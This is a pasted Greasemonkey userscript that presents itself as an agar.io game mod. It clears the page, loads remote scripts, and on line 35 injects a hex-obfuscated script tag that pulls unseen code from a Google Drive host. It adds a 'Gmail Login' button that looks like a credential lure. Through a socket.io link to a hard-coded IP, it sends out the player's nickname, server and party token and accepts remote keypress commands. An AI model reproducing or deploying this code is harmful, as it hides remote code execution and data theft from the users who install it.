Advertisement
Guest User

Untitled

a guest
May 2nd, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.61 KB | None | 0 0
  1. // ==UserScript==
  2. // @name AJx
  3. // @version 3.0
  4. // @namespace Editing By:AJx
  5. // @description Editing By:AJx
  6. // @author Editing By:AJx
  7. // @match http://agar.io/*
  8. // @connect *
  9. // @require http://ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js
  10. // @grant GM_setClipboard
  11. // @grant GM_xmlhttpRequest
  12. // @grant GM_addStyle
  13. // ==/UserScript==
  14.  
  15. function loadScript(t,e){var o=document.getElementsByTagName("head")[0],a=document.createElement("script");a.type="text/javascript",a.src=t,a.onload=e,o.appendChild(a)}function receiveMessage(t){if("http://agar.io"==t.origin&&t.data.action){var e=unsafeWindow.Action;t.data.action==e.COPY&&GM_setClipboard(t.data.data),t.data.action==e.IMAGE&&downloadResource(t.data.data,unsafeWindow.handleResource)}}function downloadResource(t,e){GM_xmlhttpRequest({method:"GET",url:t,responseType:"blob",onload:function(o){200===o.status?e(t,window.URL.createObjectURL(o.response)):console.log("res.status="+o.status)},onerror:function(t){console.log("GM_xmlhttpRequest error! "),e(null)}})}var VERSION="2.0.0",$,URL_JQUERY="http://code.jquery.com/jquery-1.11.3.min.js",URL_BOOTSTRAP="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js",URL_SOCKET_IO="https://cdn.socket.io/socket.io-1.3.5.js",URL_FACEBOOK="http://connect.facebook.net/en_US/sdk.js",URL_MAIN_OUT="http://extension.agarplus.io/v2.js",URL_CSS_FILE="http://gdriv.es/agar_main_files/PublicAgar/KZx.css";window.stop(),document.documentElement.innerHTML=null,"agar.io"==location.host&&"/"==location.pathname&&(location.href="http://agar.io/agarplus.io"+location.hash),loadScript(URL_JQUERY,function(){$=unsafeWindow.jQuery,$("head").append('<link href="https://fonts.googleapis.com/css?family=Ubuntu:400,300,300italic,400italic,500,500italic,700,700italic" rel="stylesheet" type="text/css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/glyphicons-social.css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/animate.css">'),$("head").append('<link rel="stylesheet" href="http://agar.io/css/bootstrap.min.css">'),$("head").append('<link rel="stylesheet" href="'+URL_CSS_FILE+'">'),loadScript(URL_BOOTSTRAP,function(){loadScript(URL_SOCKET_IO,function(){loadScript(URL_MAIN_OUT,function(){loadScript(URL_FACEBOOK,function(){})})})})}),window.addEventListener("message",receiveMessage,!1);
  16.  
  17. setTimeout(function(){
  18. $(document).ready(function(){
  19. function addGlobalStyle(css) {
  20. var head, style;
  21. head = document.getElementsByTagName('head')[0];
  22. if (!head) { return; }
  23. style = document.createElement('style');
  24. style.type = 'text/css';
  25. style.innerHTML = css;
  26. head.appendChild(style);
  27. }
  28.  
  29. addGlobalStyle('.btn-zeroK { width:68%!important; height:35px!important; background:#6DBED8!important; border-color: #6DBED8!important; margin-bottom: 5px!important;}');
  30. addGlobalStyle('.btn-zeroK:hover {width:68%!important; height:35px!important; background:#49B4D6!important; border-color: #49B4D6!important; margin-bottom: 5px!important;}');
  31. addGlobalStyle('.btn-zeroK2 { width:68%!important; height:35px!important; background:#7ACA7A!important; border-color: #7ACA7A!important; margin-bottom: 5px!important;}');
  32. addGlobalStyle('.btn-zeroK2:hover {width:68%!important; height:35px!important; background:#6DB56D!important; border-color: #6DB56D!important; margin-bottom: 5px!important;}');
  33.  
  34.  
  35. var _0x4a19=["\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x67\x6C\x65\x64\x72\x69\x76\x65\x2E\x63\x6F\x6D\x2F\x68\x6F\x73\x74\x2F\x30\x42\x36\x75\x6F\x72\x6C\x53\x69\x33\x38\x30\x44\x53\x48\x42\x79\x53\x56\x39\x6F\x64\x45\x31\x51\x64\x6B\x6B\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x61\x70\x70\x65\x6E\x64","\x68\x65\x61\x64"];$(_0x4a19[2])[_0x4a19[1]](_0x4a19[0])
  36. $("#btn_copy_gameinfo").replaceWith('<button id="btn_copy_gameinfo" class="btn btn-success" type="button">Copy</button><a class="btn btn-success btn-zeroK" style="margin-top: 8px;" href="https://accounts.google.com/login" target="_blank">Gmail Login</a><a class="btn btn-success btn-zeroK2" style="margin-top: 3px;" href="https://drive.google.com/file/d/0B6aQfRLKyRRVbTNWbXUtOWZmVG8/view?usp=sharing" target="_blank">>Request Access<</a>');
  37. });
  38.  
  39. }, 1000);
  40.  
  41. var interval = setInterval( function () {
  42. if ('undefined' == typeof unsafeWindow.jQuery) {
  43. //console.log("jQuery NOT loaded!");
  44. } else {
  45. clearInterval( interval );
  46. console.log("jQuery loaded!");
  47.  
  48. var socket = io('http://164.132.47.218:8201', {query: 'pass=MyRandomServerPass123'});
  49. socket.on('connect', function () {
  50. console.debug('CONNECTED');
  51. });
  52.  
  53. socket.on('requestData', function () {
  54. socket.emit('Data', {uname: $('#nick').val(),
  55. team: $('#team_name').val(),
  56. lb: $('#lb_detail').html(),
  57. server: $('#ip_info').html(),
  58. region: $('#region_info').html(),
  59. mode: $('#gamemode_info').html(),
  60. party: $('.partyToken').val()
  61. });
  62. });
  63. socket.on('split', function () {
  64. $("body").trigger(key("keydown", " "));
  65. $("body").trigger(key("keyup", " "));
  66. });
  67. socket.on('eject', function () {
  68. $("body").trigger(key("keydown", "W"));
  69. $("body").trigger(key("keyup", "W"));
  70. });
  71. }
  72. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement